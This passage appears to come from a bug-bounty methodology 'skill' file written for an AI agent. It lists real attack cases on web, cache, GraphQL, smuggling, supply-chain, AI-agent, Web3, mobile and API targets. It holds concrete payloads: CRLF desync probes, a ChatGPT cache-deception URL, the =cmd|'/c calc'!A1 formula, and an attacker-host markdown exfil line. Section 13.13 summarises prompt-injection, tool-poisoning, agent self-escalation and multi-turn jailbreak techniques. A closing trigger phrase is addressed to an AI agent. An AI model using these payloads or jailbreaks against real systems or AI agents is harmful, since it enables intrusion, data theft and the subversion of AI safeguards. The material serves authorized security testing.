/Account/UpdatePwd?username=unauthenticated returned differential responses → user enumeration, paid P3. Build the authorization matrix from JS before sending anything. https://freedium-mirror.cfd/https://medium.com/p/dfde602843bf - Test-mode gateways in prod (2026 cheap criticals) — Creem test-mode payment bypass + Stripe token inflation on New-API deployments; probe every
*test*gateway mode before deep logic work. https://github.com/Smith-106/newapi-payment_exploit - CI/workflow identity trust (GitLab #894569, $12,000) — pipeline jobs ran as arbitrary user: workflow actions inherit identity from the REQUESTER context — mutate actor fields in job-trigger requests. https://hackerone.com/reports/894569
- Authn-instead-of-authz fixes (Peloton saga) — first fix added login, not authorization: any of 3M users still read anyone's data. After every "fixed" report, re-test with ANY valid low-priv account. https://freedium-mirror.cfd/https://medium.com/p/714b8b70116e
- Verbose-error seeding (reliable P3) — malformed params → JSON errors leaking
SQLSTATE[42S22], backend paths, line numbers; screenshot the error JSON — it seeds the real bug. https://freedium-mirror.cfd/https://medium.com/p/65fa5cc74a12
13.10 Headers / Cache / CORS (10 cases)
- CRLF-powered desync (PortSwigger, Nov 2026) — header injection is severely underestimated: locate where path-injected CRLF lands upstream with the dual-Host probe (
GET /%0d%0aHost:%20x%0d%0a%0d%0a→ 400 = injection sits AFTER upstream Host), then prove desync by request splitting. A "harmless" header-injection Low becomes Critical. https://portswigger.net/research/making-http-header-injection-critical-with-one-prompt - HTTP/1.1 must die (DEF CON 33, Aug 2025) — 0.CL (zero-length Content-Length) + Expect-based desync as NAMED new classes; "critical bugs subverting core infrastructure within multiple CDNs". Treat every upstream H1 hop as desync-exploitable. https://portswigger.net/research/http1-must-die
- Cache-deception parser differential → PII (2026) — cache keys on raw path
/api/users/profile%3f%26deneme.webp(static .webp = cacheable), origin normalizes to the authenticated endpoint → victim PII cached publicly. One URL, two parsers, one bounty. https://freedium-mirror.cfd/https://medium.com/p/29ccf97be42f - Percent-encoding variant generator —
/%41boutvs/about(2ⁿ variants): one URL → many responses = poisoning-prone; many URLs → one response = deception-prone. Variants are simultaneously cache busters, deception keys, and poisoning keys. https://freedium-mirror.cfd/https://medium.com/p/bc7bfa7bbc43 - Wildcard cache deception → ChatGPT ATO (2024) —
https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123: CDN sees/share/…(cacheable), origin decodes+normalizes to/api/auth/session→ victim's auth token publicly cached. https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html - SvelteSpill (2026) — framework (SvelteKit) + host (Vercel) disagree on route identity → every authenticated route deception-cacheable. Test framework+CDN as a single unit. https://www.aikido.dev/blog/sveltespill-cache-deception-sveltekit-vercel
- Duplicate Host headers still poison —
Host: victim.com+Host: attackerwith?cb=busters rewrites cached JS resource URLs; misses on 1st request, hit (poisoned) on 2nd/3rd. https://freedium-mirror.cfd/https://medium.com/p/f42510592097 - Standing header payouts — Shopify partners
X-Forwarded-Hostreflection ($1,000) • Enjin Host-header injection → password-reset poisoning → ATO (High) • Shopify CDN DoS via poisoned shared keys ($3,800). https://hackerone.com/reports/977851 • https://hackerone.com/reports/1623672 • https://hackerone.com/reports/1695604 - CORS reporting discipline (2025–2026) — automate the reflect-any-origin / prefix-suffix / null-origin triad (CORScanner, corsbuster) and report ONLY with a working cross-origin read PoC. https://github.com/davidoberst/CVE-2025-50579-CORS-Misconfiguration-Exploit
- Cache primitives are decisive — any cacheable authenticated response = ATO chain; cache deception is the discovery tool for poisoning vectors. https://portswigger.net/research/gotta-cache-em-all
13.11 GraphQL / REST / WebSocket (11 cases)
- Undocumented GraphQL endpoints (banking-as-a-service) — client
env.jsleaked internal endpoint naming (live-partner,live-exposed-internal) → pattern-guesslive-unauthenticated/graphql→ existed with 7× the documented surface; one query returned founders' names, birth dates, HOME ADDRESSES for any SIREN, unauthenticated. Mine env.js for sibling GraphQL surfaces. https://freedium-mirror.cfd/https://medium.com/p/8536b9dd0ec1 - Introspection-off recovery (2026 guide) —
__type(name:"Query")often passes while__schemais blocked; field suggestions + JS-fragment reassembly next. The verbs in operation names are the testing checklist. https://freedium-mirror.cfd/https://medium.com/p/ceda3c5592b5 - Cross-tenant resolver gaps —
revokeScope(input:{userId, scopeName})trusted caller-supplieduserId; same-tenant got checked, cross-tenant skipped entirely (HTTP 200 + persisted write). SiblinggrantRole/revokeRolewere gated — resolver-family inconsistency is the tell. https://freedium-mirror.cfd/https://medium.com/p/55c8488a232f - Enum downgrades (WPGraphQL CVE) —
status: TRASHmapped toedit_postsinstead ofedit_others_posts→ any Author reads everyone's trashed content. Enumerate EVERY enum value in GraphQL filters and diff required capabilities. https://freedium-mirror.cfd/https://medium.com/p/3a7cbe266890 - Paid no-introspection IDORs — Shopify BillDetails/BillingDocumentDownload ($5,000), TikTok AddRulesToPixelEvents cross-advertiser (High), Stripe cross-tenant Atlas write (High) — authz lives in resolvers, not the schema. https://hackerone.com/reports/2207248
- REST field-expansion boundary bugs (SCF 6.9.6) —
?acf_format=standardexpanded referenced posts after checking only "published" status → serialized plaintextpost_password. Permission checks must validate the REFERENCED object's specific protection. https://freedium-mirror.cfd/https://medium.com/p/5c12952970d2 - GraphQL per-field authz (Beam Living, 2026) — BOLA/BFLA exposing last-4 SSN, credit scores, DOB, addresses; object-level checks don't survive resolver reuse. https://alexschapiro.com/security/vulnerability/2026/07/16/beam-living-graphql-data-exposure
- Zero-token GET discipline — the most skipped basic check; unauthenticated
GET /stats/workout/details-style endpoints still ship (Peloton triple-surface case). https://freedium-mirror.cfd/https://medium.com/p/714b8b70116e - WebSocket rooms = BOLA by design — integer
rid=6→rid=3reads foreign chat; enforce membership per-message, not at subscribe (HTB OnlyHacks + PortSwigger WS labs writeups). https://github.com/vgod-sec/wsa-websocket-labs-writeup - CSWSH — test cross-site WebSocket hijacking with a cross-origin handshake page; replay WS frames in Repeater like HTTP bodies. https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine
- Three-request IDOR harness — capture-as-A → replay-as-A → replay-as-B; standardize it so every endpoint gets the same access-control diff. https://freedium-mirror.cfd/https://medium.com/p/aaf30335f3d2
13.12 RARE & EXOTIC ARSENAL (the 2024–2026 crown jewel — 16 sub-classes)
A. Request Smuggling / Desync (5)
- 0.CL + Expect-based desync (PortSwigger/DEF CON 33, 2025) — zero-length
Content-LengthandExpect:-based desync named as new classes; "critical bugs subverting core infrastructure within multiple CDNs" (tens of millions of sites). https://portswigger.net/research/http1-must-die - Browser-powered desync — client-side desync + pause-based desync: the VICTIM's browser is the smuggling engine (cross-origin fetch desyncs per-connection state, hijacks subsequent requests). https://portswigger.net/research/browser-powered-desync-attacks
- CRLF-powered desync ("beheading HTTP streams", Aug 2026) — request header injection → HTTP request splitting → full desync; detection probe:
GET /%0d%0aHost:%20x%0d%0a%0d%0a→ 400 = injection lands in a custom header after upstream Host. https://portswigger.net/research/crlf-powered-desync-attacks - One space desyncs a platform (Discord media proxy) —
%20re-emitted into the upstream request line → invalid request → premature termination → desync on GCS upstream. Fuzz off-nominal bytes in path segments that proxies re-emit upstream. https://tmctmt.com/posts/http-desync-in-discord/ - H2-only differential canon — HPACK/binary layer kills CL.TE quirks → hunt H2-specific parse differentials between front-end and H1 back-ends. https://portswigger.net/research/http2
B. Web Cache Poisoning / Deception (4)
- Gotta cache 'em all (2024) — CDN-vs-origin URL discrepancies systematized into Arbitrary Web Cache Deception + Arbitrary Web Cache Poisoning with tier targeting ("Cache-What-Where"). https://portswigger.net/research/gotta-cache-em-all
- Web Cache Entanglement (the reference) — remotely probe cache-key elements (headers, cookies, scheme, port, normalization) and chain discrepancies; Fat GET and parameter cloaking live here. https://portswigger.net/research/web-cache-entanglement
- Wildcard path confusion → ChatGPT ATO —
/share/%2F..%2Fapi/auth/session(case in §13.10.5) — the single highest-impact cache-deception template of the decade. https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html - Framework×host route confusion (SvelteSpill, 2026) — SvelteKit+Vercel disagreed on route identity → all authenticated routes deception-cacheable. https://www.aikido.dev/blog/sveltespill-cache-deception-sveltekit-vercel
C. Prototype Pollution (4)
- Langfuse PP → RCE (2026) — authenticated OpenTelemetry trace attribute KEY pollutes
Object.prototypeprocess-wide → worker corruption → cross-project trace leak; notification race upgrades to RCE. Any attacker-controlled KEY (trace attributes, config keys) is a PP sink — then look for an async/race gadget. https://aisafe.io/blog/traces-of-rce-exploiting-langfuse-prototype-pollution - Client-side PP gadgets — DOM Invader CSPP + gadget catalog converting pollution into DOM XSS across popular libraries; never report CSPP unexploited. https://portswigger.net/research/widespread-prototype-pollution-gadgets
- SSPP black-box without DoS — non-destructive probes + Node gadget chains that don't need filesystem gadgets; canonical sink list: https://portswigger.net/research/server-side-prototype-pollution • https://github.com/BlackFan/client-side-prototype-pollution
- PP as a browser-app primitive (2026) — Adobe Acrobat zero-day CVE-2026-34621 actively exploited — PP is no longer just a Node bug.
D. XS-Leaks (2)
- XS-Leaks Wiki — the taxonomy: XS-Search, frame counting, error events, navigations, cache probing, postMessage breadth, timing/connection-pool/CSS — with defenses (COOP/CORP, Fetch Metadata). When an endpoint is same-origin-only, hunt an oracle from this taxonomy. https://xsleaks.dev/
- Focus-based ID leak — URL-fragment
#idscroll/focus behavior leaks element IDs (tokens/usernames) cross-origin by observing focus changes. https://portswigger.net/research/xs-leak-leaking-ids-using-focus
E. CSP Bypass (3)
- Form hijacking (2024) — hijacking form actions steals passwords under strict CSP without ANY script violation; audit CSP-protected pages for hijackable forms. https://portswigger.net/research/using-form-hijacking-to-bypass-csp
- Nonce-based CSP hunting — dynamic analysis for nonce-consuming gadget sinks where attacker input reaches whitelisted script context. https://portswigger.net/research/hunting-nonce-based-csp-bypasses-with-dynamic-analysis
- Script gadgets (the lineage) — framework client-side template sinks re-create XSS from harmless HTML even when CSP blocks inline script; exfil without bypassing CSP: https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations
F. postMessage (1)
- DOM Invader web-message detection — wildcard targets + origin-validation failures → cross-domain credential theft; in every
addEventListener("message")check origin validation AND how the handler routesJSON.parse(event.data). Iconic case: Slack token theft via wildcard postMessage (labs.detectify.com, 2017). https://portswigger.net/research/detecting-web-message-misconfigurations-for-cross-domain-credential-theft
G. Localhost / 0.0.0.0-Day (1)
- 0.0.0.0 Day (Oligo, 2024) — inconsistent browser security let public sites reach services bound to all interfaces (dev servers, Ray, local APIs) → RCE; tied to in-the-wild ShadowRay exploitation. Assume nothing validates
0.0.0.0. https://www.oligo.security/blog/0-0-0-0-day-exploiting-localhost-apis-from-the-browser
H. Cookie Attacks (4)
- Cookie Chaos — `__Host-`/`__Secure-` prefix bypass (Sept 2025) — browser-vs-server cookie-parser discrepancies with UNICODE WHITESPACE let attacker-settable look-alike cookies overwrite prefix-protected ones. Never trust name prefixes for security. https://portswigger.net/research/cookie-chaos-how-to-bypass-host-and-secure-cookie-prefixes
- Cookie sandwich — HttpOnly theft (Jan 2025) — position crafted cookies around the HttpOnly target in the jar so server echo/ordering leaks it; builds on the phantom
$VersionRFC 2965 quirk. https://portswigger.net/research/stealing-httponly-cookies-with-the-cookie-sandwich-technique - Cross-device session fixation (2025) — QR-code/device-linking flows hand sessions across devices: fixate the PRE-AUTH session; fixation is alive outside URL rewriting. https://danielfett.de/2025/03/10/cross-device-session-fixation/
- Crates.io session incident — improperly stored session cookies enabled account impersonation until revocation. https://blog.rust-lang.org/2025/04/11/crates-io-security-session-cookies.html
I. Parser Differentials (6 — THE pattern of the era)
- SAML roulette (March 2025) — ruby-saml validates the signature with REXML then reads attributes with Nokogiri → XML round-trip mutation between parses → UNAUTHENTICATED ADMIN on GitLab Enterprise. Anywhere signature-validation and attribute-consumption use different parsers, hunt round-trip mutations. https://portswigger.net/research/saml-roulette-the-hacker-always-wins
- The Fragile Lock (Dec 2025) — second-generation SAML bypasses; audit the full parse→validate→consume pipeline of every IdP library. https://portswigger.net/research/the-fragile-lock
- Splitting the email atom (2024) — sites parse email addresses to INFER org/domain for access control; parser-confusion chars (
+, quotes,@duplication, encoding) flip the derived tenant. https://portswigger.net/research/splitting-the-email-atom - Unicode overflow (Jan 2025) — a multi-byte char stored into one byte produces chosen ASCII (low byte
0x41=A): pre-encode attacks so the overflow PRODUCES your target byte after the blocklist. https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows - URL-credential concealment + validator bypass — payloads hidden in the invisible userinfo segment; new IP-encoding payload families. https://portswigger.net/research/concealing-payloads-in-url-credentials • https://portswigger.net/research/new-crazy-payloads-in-the-url-validation-bypass-cheat-sheet
- Fickle PDFs (2024) — one PDF renders different content in Safari/Preview vs other engines (CEO-fraud differential). https://portswigger.net/research/fickle-pdfs
J. Supply Chain (4)
- Shai-Hulud npm worm (waves Sept + Nov 2025 → 2026) — self-replicating worm: post-install scripts harvest secrets and exfiltrate via attacker-controlled PUBLIC GitHub repos (CrowdStrike, Zapier, ENS; 100→300+ packages). Treat post-install scripts as untrusted code. https://www.wiz.io/blog/shai-hulud-npm-supply-chain-attack • https://www.aikido.dev/blog/shai-hulud-strikes-again-hitting-zapier-ensdomains
- axios compromise via maintainer spear-phishing (2026) — targeted social engineering → RAT-dropping versions. The npm top-of-funnel is now personalized phishing, not typo-squatting. https://www.stepsecurity.io/blog/axios-compromised-on-npm-malicious-versions-drop-remote-access-trojan
- polyfill.io domain takeover (2024) — beloved JS CDN sold to a malicious operator serving injected JS to ~100K sites: third-party
<script src>domains are kill-chains, not features — inventory and self-host. https://blog.cloudflare.com/automatically-replacing-polyfill-io-links-with-cloudflares-mirror-for-a-safer-internet - xz backdoor + dependency confusion recon (Netflix, 2025) — hunt internal package names in shipped JS/HAR artifacts before anyone else; demand build reproducibility. https://www.landh.tech/blog/20250610-netflix-vulnerability-dependency-confusion/
K. DNS Rebinding (2)
- Split-second rebinding (IPv6 era) — IPv6 multiple-answer tricks win the TTL race in Chrome/Safari AND bypass Chromium local-network fetch restrictions (PNA). https://www.intruder.io/research/split-second-dns-rebinding-in-chrome-and-safari
- AI-service targets — Ollama rebinding CVE-2024-28224 (model exfil) → Ray browser-driven RCE (CVE-2025-62593) → Google MCP Toolbox SSRF CVE-2026-14540: agent-local services are the new rebinding prey. https://github.com/ollama/ollama/security/advisories/GHSA-9247-7gjr-9gpc
L. PDF / Font / File-Format (3)
- Portable Data exFiltration — a single attacker-controlled hyperlink in HTML→PDF pipelines becomes embedded JS/exfil + blind SSRF from the renderer. https://portswigger.net/research/portable-data-exfiltration
- Inject My PDF — LLM-era PDF prompt injection (resume that instructs the parser). https://kai-greshake.de/posts/inject-my-pdf/
- FreeType CVE-2025-27363 (actively exploited) — OOB write parsing TrueType GX variable-font subglyphs (signed-short→unsigned-long) = RCE-by-font-file. Font files are code. https://nvd.nist.gov/vuln/detail/CVE-2025-27363
M. CSV / Formula Injection (1)
- Formula-lead discipline —
=cmd|'/c calc'!A1family: prefix-escape every export cell starting with= + - @ \t \r; the export sink executes on someone else's laptop. http://georgemauer.net/2017/10/07/csv-injection.html
N. Service Workers / WebSocket Mass-Scale (2)
- Service-worker hijack via DOM clobbering —
document.getElementByIdquirk + clobbered globals → attacker SW script = persistence. https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering - WebSocket Turbo Intruder (Sept 2025) — mass-scale WS attack tooling: WebSockets get a fraction of HTTP's fuzzing budgets — run high-rate connection-aware WS scans. https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine
O. Header-Trust Telemetry / HTTP Clients (2)
- 127.0.0.1 in eight headers (honeypot telemetry, 2026) — attacker farms spray ALL forwarding headers (
x-forwarded-for,x-real-ip,x-client-ip,true-client-ip,x-originating-ip,client-ip,x-forwarded-host,forwarded) since they can't know which one the target trusts. https://honeylabs.net/blog/what-attackers-hide-in-forwarding-headers - undici advisory cluster (Oct–Nov 2026) — cross-user cache disclosure via redirects, credential stripping bypass via array-of-tuples headers, cache poisoning via redirect hops +
form-dataCVE-2025-7783 (multipart boundary entropy → HPP). HTTP client libraries are desync/redirect/entropy-sensitive — pin versions. https://github.com/nodejs/undici/security/advisories
P. Genuinely Rare (3)
- CSS: the bomb inside your inbox (Aug 2026) — email-CSS attacks break webmail defenses to steal passwords/tokens (attribute-substring selectors, exfil-capable properties). https://portswigger.net/research/css-the-bomb-inside-your-inbox
- RIPE NCC RPKI chain (2026) — DNS-record-driven XSS (payload in reverse-DNS/TXT surfaced by dashboards) → shared session cookie + missing CSRF → authenticated routing-configuration changes. DNS-sourced strings are attacker-controlled input to web apps. https://mxsasha.eu/posts/ripe-ncc-rpki-exploit-chain/
- Email trust-chain abuse — subdomain SPF/DMARC asymmetries, Direct Send internal phishing (M365), calendar-invite prompt injection (Gemini), HTML injection in device-metadata fields (Robinhood phishing). https://www.proofpoint.com/us/blog/threat-insight/exploiting-direct-send-attackers-abuse-microsoft-365-internal-phishing
Field patterns (rare/exotic 2024–2026): every flagship bug is a parser differential — always ask "which two parsers see this value?" • exploit the enforcement layer (cookie prefixes, middleware, CSP, SAML), not the app • off-nominal characters beat sophisticated payloads (one space desynced Discord; %2F..%2F took ChatGPT) • client-side is the desync frontier • any cacheable authenticated response = ATO • one library gadget = thousands of victims • redirect handling in HTTP clients is a recurring hole • Unicode is a permanent bypass primitive • localhost/agent services are the browser's soft underbelly • chain low-severity primitives into infrastructure takeover.
13.13 LLM / AI Agents (12 cases — 2024–2026 is the era of "the agent is the payload")
- GitHub Copilot RCE via prompt injection (CVE-2025-53773) — injection planted in source/web page/issue writes
"chat.tools.autoApprove": trueinto.vscode/settings.json(workspace-trusted) → agent silently enables YOLO mode on itself. Check whether the agent can edit the config governing its own permissions. https://embracethered.com/blog/posts/2025/github-copilot-remote-code-execution-via-prompt-injection/ - MCP tool poisoning (Invariant Labs) — hidden instructions inside tool DESCRIPTIONS exfiltrate SSH keys via other tools and override trusted servers' instructions; confirmation UIs show only summarized names. Tool descriptions are attacker-controlled text read by the model, not shown to the user. https://invariantlabs.ai/blog/mcp-security-notification
- GitLab Duo → source-code theft — cross-project injection via public comments with Base16/Unicode/KaTeX evasion; async streaming markdown rendered
<img src="https://attacker/?d=<code>">→ zero-click exfil of a private project. "LLM renders markdown as HTML in a trusted origin" is a reliable exfil channel. https://www.legitsecurity.com/blog/remote-prompt-injection-in-gitlab-duo - M365 Copilot exfil chain (2024) — injection → automatic tool invocation ("search emails for MFA codes") → ASCII-smuggling staging (Unicode Tags U+E0000) → rendered hyperlink out. Chain content-triggered tool calls with invisible-Unicode staging. https://embracethered.com/blog/posts/2024/m365-copilot-prompt-injection-tool-invocation-and-data-exfil-using-ascii-smuggling/
- Invisible-character classes evolve (2025) — Tags → Variation Selectors → ANSI escape sequences; LLMs both interpret AND emit them. Filter on invisible-codepoint CLASSES, not single tricks. https://embracethered.com/blog/posts/2025/sneaky-bits-and-ascii-smuggler/
- In-the-wild web injection taxonomy (Unit 42, 2026) — first large-scale telemetry of live indirect injection: 22 distinct payload-engineering techniques; page summarization is the most abused feature. https://unit42.paloaltonetworks.com/ai-agent-prompt-injection/
- AGENTS.md is an executable (2026, in the wild) — malicious
AGENTS.mddelivered into the Downloads folder; Codex/Claude Code ingest it → agent rewrites its own config → malware install or token theft. Treat agent-instruction files from the web as untrusted executables. https://forever.security/blog/hijacking-ai-agents-via-downloads-folder/ - Tool-selection poisoning (2026) — attacker server returns a FAKE refusal keyed to Claude Code's fetch-tool UA → model falls back to
curlas "alternative tool", defeating egress scoping; payload hidden in ~20K lines of double-base64 → RCE in YOLO mode. Poison tool-selection logic, not just prompts. https://veganmosfet.codeberg.page/posts/2026-07-27-opus5/ - Copilot CLI "zombie instructions" (2026) — encoded instructions on crafted web pages make the CLI exfiltrate developer secrets; GitHub responded by forbidding Plan-Mode file edits. Deny secret-read and file-write in investigation modes. https://www.infoworld.com/article/4231775/encrypted-instructions-trick-copilot-cli-into-spilling-developer-secrets.html
- Crescendo multi-turn jailbreak — start benign, ask the model to continue/transform its own outputs, escalate per turn; per-turn classifiers see only benign deltas. Replay escalation ladders on multi-turn targets. https://crescendo-the-multiturn-jailbreak.github.io/
- Cross-tenant RAG leakage (Slack AI) — content planted by another user surfaces in victims' retrieval summaries → private-channel exfil. Test whether attacker-plantable content reaches victim-visible retrieval. https://promptarmor.substack.com/
- Bulk corpus — Embrace The Red sitemap holds the densest agentic-abuse archive (Amazon Q RCE, Google Jules RCE, Windsurf spAIware, AgentHopper virus, cross-agent privilege escalation, TOCTOU agent, LiteLLM hijack, EchoLeak CVE-2025-32711 zero-click M365 Copilot exfil): https://embracethered.com/blog/
Field patterns: the lethal trifecta (private data + untrusted content + outward comms) decides severity • invisible Unicode is the standard staging layer • agents self-escalate via configs they can edit • instruction files are executables • MCP descriptions hide from confirmation UIs • in-the-wild exploitation is confirmed — this is bounty-relevant, and legal consequences for planters started (Brazil court sanction, 2026).
13.14 Web3 / Smart Contracts (8 cases)
- Cetus — $223M integer overflow (May 2025) — microscopic CLMM tick range (200 ticks) exploded liquidity via
checked_shlwin an out-of-audit-scope library; flash loan 56,700 SUI → mint huge position for pocket change → double withdrawal. Fuzz overflow guards on the ACTUAL liquidity-math path. https://rekt.news/cetus-rekt - Balancer — $100M+ rounding direction (Nov 2025) — long-dormant precision-loss bug drained nine chains; "rounding must favor the protocol" is no longer sufficient — test BOTH rounding directions per operation incl. tiny-liquidity/max-ratio edges. https://blog.trailofbits.com/2025/11/07/balancer-hack-analysis-and-guidance-for-the-defi-ecosystem/
- ResupplyFi — $9.8M one-wei ERC-4626 inflation (Jun 2025) — flash-loan → donate 2,000 crvUSD → mint 1 wei of shares → exchange rate
1e36/oracle.getPrices()floors to zero → total accounting break. Test fresh/empty vaults at wei scale. https://www.quantumloom.in/blog/resupplyfi-vault-exploit - DeFiHackLabs (the PoC library) — Foundry reproductions "to the wei" with tx hashes; 2026 entries include Argent smart-wallet signature replay (nonces never consumed, deadline unchecked) and SliceFundsModule crediting caller-supplied deposits without balance verification; 2025: AnyswapWETHPermit validation bypass, MetaPool infinite mint via unvalidated ERC-4626, Moonwell faulty oracle, DRLVaultV3 price manipulation. https://github.com/SunWeb3Sec/DeFiHackLabs
- Abracadabra repeat-victim pattern — Jan 2024 spell bug ($6.4M) → Mar 2025 flash-loan theft ($13M) → Oct 2025 MIMSpell3 insolvency-check bypass: map a protocol's incident history — patched surfaces get re-broken at the same trust boundary. https://www.halborn.com/blog/post/explained-the-abracadabra-hack-october-2025
- Bybit $1.5B (Feb 2025) — the year's biggest loss was signer/UI compromise (phishing), NOT contract math — signing infrastructure is part of the attack surface. https://github.com/SunWeb3Sec/DeFiHackLabs (entry 20250221)
- AI agents find $4.6M autonomously (Anthropic SCONE-bench, Dec 2025) — agentic LLMs found novel profitable exploits (e.g. public "calculator" missing the
viewmodifier skewing rewards). Assume automated discovery of revenue-extractable logic bugs. https://red.anthropic.com/2025/smart-contracts/ - Oracle manipulation diversified (2025–2026) — fake-token price feeds (Rhea/NEAR $7.6M), flash-loan spot manipulation (ImpermaxV3), faulty oracles (Moonwell), vault-price exploits (Summer.fi $6M) — price-manipulation remains the top manipulative-pricing vector.
13.15 Mobile (6 cases)
- Third-party SDK = fleet-wide exposure (EngageLab, Apr 2026) — intent-redirection flaw in a push-notification SDK exposed ~50M Android users incl. ~30M crypto-wallet installs. Audit bundled SDKs for exported/intent-redirecting components FIRST. https://www.techrepublic.com/article/news-engagelab-sdk-android-vulnerability-malware-bridge/
- Frida CodeShare = commoditized bypass — universal SSL-pinning bypass, multi-unpinning, root/detection bypass: load them first and log which hooks fire — the fired-hook list IS the app's protection inventory. https://codeshare.frida.re/@akabe1/frida-multiple-unpinning/
- MASTG anchoring — map every finding to a MASTG technique ID for reproducibility as the guide evolves. https://mas.owasp.org/MASTG/
- Pwn2Own Ireland 2025 — 34 zero-days day one; the ZDI day-by-day posts are the highest-signal free mobile exploitation corpus each year. https://www.thezdi.com/blog/2025/10/22/pwn2own-ireland-2025-day-two-results
- Banking trojans target the session layer — Sturnus (WhatsApp/Telegram/Signal surfaces via accessibility abuse), ToxicPanda: notification/accessibility surfaces belong in threat models. https://www.bleepingcomputer.com/news/security/multi-threat-android-malware-sturnus-steals-signal-whatsapp-messages/
- Authenticator apps are targets now — Microsoft Authenticator login-code leakage (2026): MFA surfaces get their own bug class. https://www.malwarebytes.com/blog/news/2026/03/microsoft-authenticator-could-leak-login-codes-update-your-app-now
13.16 Modern API Attack Surface (10 cases)
- Missing authentication is now #1 (17% of 2025 incidents, up from #5) — Intel
getAccessTokenreturning valid tokens with NO authentication; UK healthcare patient data via unauthenticated API. Test the no-credentials path FIRST on every API. https://apisecurity.io/issue-286-the-apisecurity-io-top-5-api-vulnerabilities-in-2025/ - OWASP Top 10 2025 shift — Security Misconfiguration jumped #5→#2: budget test time for dev endpoints, verbose errors, CORS, stray spec files as aggressively as authz logic. https://apisecurity.io/issue-284-owasp-top-10-2025-chatgpts-api-flaw-bola-at-mercury-energy-nz-leaky-ai-companies/
- Sequential-ID mass scraping (Trello 15M profiles) — unauthenticated enumeration + pagination ceilings; rate-limit design must be per-object, not per-IP. https://apisecurity.io/issue-240-spoutible-api-leakage-15m-trello-profiles-scraped-api-secret-tokens-leaked/
- BOPLA — property-level authz — over-fetching leaks fields object-level checks never see (OneLogin/Entra incidents); diff every response against its documented schema. https://apisecurity.io/issue-281-onelogin-leaks-secrets-cloudflare-api-dos-entra-id-flaw-owasp-bopla-bugs/
- Secrets: obfuscated beats raw — encoded/split GitHub PATs inside Facebook's React repo; hunt transformed secrets (base64/hex/split literals), not just key formats. https://medium.com/@hanikhaled876/how-i-found-hardcoded-secrets-in-facebooks-react-repository-ed71a56dfba4
- LLM keys are first-class secrets (2026) — GitHub push protection now blocks Anthropic keys by default: include AI-provider key formats in leak hunts. https://github.blog/changelog/2026-10-13-secret-scanning-blocks-anthropic-keys-by-default-adds-salesforce/
- Planetary-scale secret scanning — 7.25M repos scanned on one national git platform: regex + entropy + provider validation still pays. https://www.mongodb.com/company/blog/technical/scanning-7-point-25-million-public-repositories-chinas-largest-git-platform-secrets
- Collab-tooling token hygiene — Postman workspaces/CI artifacts outlive the credentials stored in them; sweep them. https://apisecurity.io/issue-262-api-incidents-in-invoice-ninja-mcdonalds-truecaller-apps-jetbrains-survey-postman-data-leaks/
- Agentic AI as API consumer (2026 theme) — treat AI agents calling your API as unauthenticated hostile clients: per-agent auth, quotas, scopes. https://apisecurity.io/issue-288-42crunch-state-of-api-security-2026-agentic-ai-authentication-bypasses-and-the-race-to-patch/
- Third-party API ecosystems leak your users — billion-record leaks come from vendors you don't own; map the vendor graph. https://apisecurity.io/issue-285-api-hack-at-avelo-airlines-3-5-billion-leak-at-whatsapp-f5-api-security-survey-ai-gener/
Closing meta-lessons of the 2024–2026 pass: (1) chains beat primitives — every dollar-paying case above is ≥2 bugs linked; (2) parser differentials are THE recurring root cause; (3) "fixed" is a hypothesis to re-test within days; (4) framework/library internals (middleware headers, schema versions, HTTP clients, template configs) now out-pay app logic; (5) AI-agent plumbing recycles every classic web bug at higher impact — run the full web methodology against agent surfaces.
14) SESSION RELOAD PROTOCOL
If context is lost in a new session and the user writes NULL200OK:
- Read this file (ask the user to paste it, or load it from the skills directory).
- Original sources for re-sync if network is available:
- https://github.com/elementalsouls/Claude-BugHunter
- https://github.com/0xN0RMXL/BugBountySkills
- https://github.com/awarexone/Agentic-Bug-Hunter
- https://github.com/murrtada/bug-bounty-agent-skills
- https://github.com/awarexone/web3-bug-bounty-hunting-ai-skills
- https://github.com/usestrix/strix
- Possible local clones in a working environment:
/home/z/my-project/skills-study/(one folder per repo). - Confirm with:
NULL200OK :: SKILL LOADEDand begin.
Condensed from 6 repositories (≈ 1,300+ skill files) + a 2024–2026 field-intelligence pass (~150 writeups/PoCs distilled). The doctrine above all: immediate impact or kill the finding; chains pay 3–10x; evidence reproducible by a tired, zero-context triager; the authorized scope is the absolute limit of operation.